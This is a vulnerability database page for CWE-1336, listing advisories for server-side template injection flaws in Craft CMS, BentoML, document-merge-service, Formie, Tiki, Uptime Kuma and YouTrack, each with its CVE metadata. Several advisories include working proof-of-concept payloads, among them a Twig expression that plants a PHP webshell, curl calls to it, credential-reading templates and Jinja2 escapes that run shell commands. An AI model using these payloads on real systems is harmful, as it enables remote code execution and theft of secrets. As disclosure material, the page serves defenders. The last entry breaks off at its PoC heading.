CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
346 vulnerabilities reference this CWE, most recent first.
GHSA-RQ4P-44H8-CRV3
Vulnerability from github – Published: 2026-04-17 09:31 – Updated: 2026-04-17 09:31In JetBrains YouTrack before 2025.3.131383 high privileged user can achieve RCE via sandbox bypass
{
"affected": [],
"aliases": [
"CVE-2026-33392"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-17T08:16:17Z",
"severity": "HIGH"
},
"details": "In JetBrains YouTrack before 2025.3.131383 high privileged user can achieve RCE via sandbox bypass",
"id": "GHSA-rq4p-44h8-crv3",
"modified": "2026-04-17T09:31:18Z",
"published": "2026-04-17T09:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33392"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V45M-HXQP-FWF5
Vulnerability from github – Published: 2024-05-20 20:26 – Updated: 2024-05-20 22:07Impact
Users with access to a form's settings can include malicious Twig code into fields that support Twig. These might be the Submission Title or the Success Message. This code will then be executed upon creating a submission, or rendering the text.
This is listed as low-medium severity due to requiring control panel access to edit a form's settings.
Patches
This has been fixed in Formie 2.1.6. Users should ensure they are running at least this version.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "verbb/formie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-35191"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-20T20:26:28Z",
"nvd_published_at": "2024-05-20T21:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nUsers with access to a form\u0027s settings can include malicious Twig code into fields that support Twig. These might be the Submission Title or the Success Message. This code will then be executed upon creating a submission, or rendering the text.\n\nThis is listed as low-medium severity due to requiring control panel access to edit a form\u0027s settings.\n\n### Patches\nThis has been fixed in Formie 2.1.6. Users should ensure they are running at least this version.",
"id": "GHSA-v45m-hxqp-fwf5",
"modified": "2024-05-20T22:07:17Z",
"published": "2024-05-20T20:26:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/verbb/formie/security/advisories/GHSA-v45m-hxqp-fwf5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35191"
},
{
"type": "WEB",
"url": "https://github.com/verbb/formie/commit/90296edf7e707f117e760aa57e70dbd43a854420"
},
{
"type": "PACKAGE",
"url": "https://github.com/verbb/formie"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "verbb/formie Server-Side Template Injection for variable-enabled settings"
}
GHSA-V47Q-JXVR-P68X
Vulnerability from github – Published: 2026-03-03 21:00 – Updated: 2026-03-04 18:39Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the filesystem handle (e.g.,
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the volume handle (e.g.,
- To exploit it by writing to a file system:
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28697"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:00:16Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities \u2192 System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle(\u0027hardDisk\u0027).write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle(\u0027images\u0027).fs.write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t\u003cimg width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" /\u003e\n3. Save \u0026 go to **Settings \u2192 Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t\u003cimg width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" /\u003e\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
"id": "GHSA-v47q-jxvr-p68x",
"modified": "2026-03-04T18:39:01Z",
"published": "2026-03-03T21:00:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18216"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18219"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates"
}
GHSA-V5GF-R78H-55Q6
Vulnerability from github – Published: 2024-06-11 20:22 – Updated: 2026-02-04 19:39Impact
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
References
Are there any links users can visit to find out more?
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
POC
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "document-merge-service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37301"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-11T20:22:55Z",
"nvd_published_at": "2024-06-11T19:16:07Z",
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server\u0027s context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n",
"id": "GHSA-v5gf-r78h-55q6",
"modified": "2026-02-04T19:39:54Z",
"published": "2024-06-11T20:22:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
},
{
"type": "WEB",
"url": "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
},
{
"type": "PACKAGE",
"url": "https://github.com/adfinis/document-merge-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection"
}
GHSA-V676-FW8H-J3J9
Vulnerability from github – Published: 2025-04-09 04:18 – Updated: 2025-11-03 21:33wikiplugin_includetpl in lib/wiki-plugins/wikiplugin_includetpl.php in Tiki before 28.3 mishandles input to an eval. The fixed versions are 21.12, 24.8, 27.2, and 28.3.
{
"affected": [],
"aliases": [
"CVE-2025-32461"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-09T02:15:16Z",
"severity": "CRITICAL"
},
"details": "wikiplugin_includetpl in lib/wiki-plugins/wikiplugin_includetpl.php in Tiki before 28.3 mishandles input to an eval. The fixed versions are 21.12, 24.8, 27.2, and 28.3.",
"id": "GHSA-v676-fw8h-j3j9",
"modified": "2025-11-03T21:33:30Z",
"published": "2025-04-09T04:18:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32461"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/406bea4f6c379a23903ecfd55e538d90fd669ab0"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/801ed912390c2aa6caf12b7b953e200f5d4bc0b1"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/9ffb4ab21bd86837370666ecd6afd868f3d7877a"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/be8dc1aa220fbceb07a7a5dc36416243afccd358"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/f3f36c1ac702479209acfcaec5789d2fd1f996bc"
},
{
"type": "WEB",
"url": "https://tiki.org/article517"
},
{
"type": "WEB",
"url": "https://tiki.org/article518"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V959-CWQ9-7HR6
Vulnerability from github – Published: 2026-04-03 23:14 – Updated: 2026-06-08 20:04Summary
The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
This creates an unsandboxed jinja2.Environment with two dangerous extensions:
- jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions
- jinja2.ext.debug — exposes internal template engine state
Attack path:
- Attacker builds a bento with
dockerfile_templateset inbentofile.yaml. Duringbentoml build,DockerOptions.write_to_bento()(build_config.py:272-276) copies the template file into the bento archive atenv/docker/Dockerfile.template:
if self.dockerfile_template is not None:
shutil.copy2(
resolve_user_filepath(self.dockerfile_template, build_ctx),
docker_folder / "Dockerfile.template",
)
-
Attacker exports the bento as a
.bentoor.tar.gzarchive and distributes it (via S3, HTTP, direct sharing, etc.). -
Victim imports the bento with
bentoml import bento.tar— no validation of template content is performed. -
Victim containerizes with
bentoml containerize. Theconstruct_containerfile()function (__init__.py:198-204) detects the template and sets the path:
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
generate_containerfile()(generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
user_templates = os.path.basename(user_templates)
TEMPLATES_PATH.append(dir_path)
environment = ENVIRONMENT.overlay(
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
)
template = environment.get_template(
user_templates,
globals={"bento_base_template": template, **J2_FUNCTION},
)
# ...
return template.render(...) # <-- SSTI executes here, on the HOST
Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template evil.j2:
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}
Step 2: Create bentofile.yaml referencing the template:
service: 'service:MyService'
docker:
dockerfile_template: ./evil.j2
Step 3: Attacker builds and exports:
bentoml build
bentoml export myservice:latest bento.tar
Step 4: Victim imports and containerizes:
bentoml import bento.tar
bentoml containerize myservice:latest
Step 5: Verify host code execution:
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...
The SSTI payload executes on the host during template rendering, before any Docker container is created.
Standalone verification that the Jinja2 Environment allows code execution:
python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS
Impact
An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:
- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
- Ability to install backdoors or pivot to other systems
- Access to environment variables containing secrets (API keys, database credentials)
- Potential supply chain compromise if the victim's machine is a CI/CD runner
The attack is particularly dangerous because:
1. Users may reasonably expect bentoml containerize to be a safe build operation
2. The malicious template is embedded inside the bento archive and not visible without manual inspection
3. Execution happens on the host, not inside a Docker container, bypassing all isolation
Recommended Fix
Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.
In src/bentoml/_internal/container/generate.py, change lines 155-157:
# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
extensions=["jinja2.ext.loopcontrols"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:
# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
variable_start_string="<<",
variable_end_string=">>",
loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.37"
},
"package": {
"ecosystem": "PyPI",
"name": "bentoml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.38"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35044"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T23:14:15Z",
"nvd_published_at": "2026-04-06T18:16:41Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` \u2014 enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` \u2014 exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n shutil.copy2(\n resolve_user_filepath(self.dockerfile_template, build_ctx),\n docker_folder / \"Dockerfile.template\",\n )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` \u2014 no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n user_templates = os.path.basename(user_templates)\n TEMPLATES_PATH.append(dir_path)\n environment = ENVIRONMENT.overlay(\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n )\n template = environment.get_template(\n user_templates,\n globals={\"bento_base_template\": template, **J2_FUNCTION},\n )\n# ...\nreturn template.render(...) # \u003c-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027id \u003e /tmp/pwned\u0027) %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: \u0027service:MyService\u0027\ndocker:\n dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=[\u0027jinja2.ext.do\u0027])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027echo SSTI_WORKS\u0027) %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim\u0027s machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n extensions=[\"jinja2.ext.loopcontrols\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n variable_start_string=\"\u003c\u003c\",\n variable_end_string=\"\u003e\u003e\",\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```",
"id": "GHSA-v959-cwq9-7hr6",
"modified": "2026-06-08T20:04:53Z",
"published": "2026-04-03T23:14:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35044"
},
{
"type": "PACKAGE",
"url": "https://github.com/bentoml/BentoML"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-159.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation"
}
GHSA-VFFH-C9PQ-4CRH
Vulnerability from github – Published: 2025-10-20 20:03 – Updated: 2025-10-20 20:03Summary
In some Notification types (e.g., Webhook, Telegram), the send() function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.
Details
The root cause is how Uptime Kuma renders user-controlled templates via renderTemplate(). The function instantiates a Liquid template engine and parses the template argument without sanitization:
async renderTemplate(template, msg, monitorJSON, heartbeatJSON) {
const engine = new Liquid();
const parsedTpl = engine.parse(template);
// ...
}
In some Notification flows, the send() implementation passes user-editable fields directly into renderTemplate():
// webhook.js
if (notification.webhookContentType === "form-data") {
const formData = new FormData();
formData.append("data", JSON.stringify(data));
config.headers = formData.getHeaders();
data = formData;
} else if (notification.webhookContentType === "custom") {
data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- this line cause SSTI
}
Because notification can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid’s template tags (e.g. {% render ... %}) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.
PoC
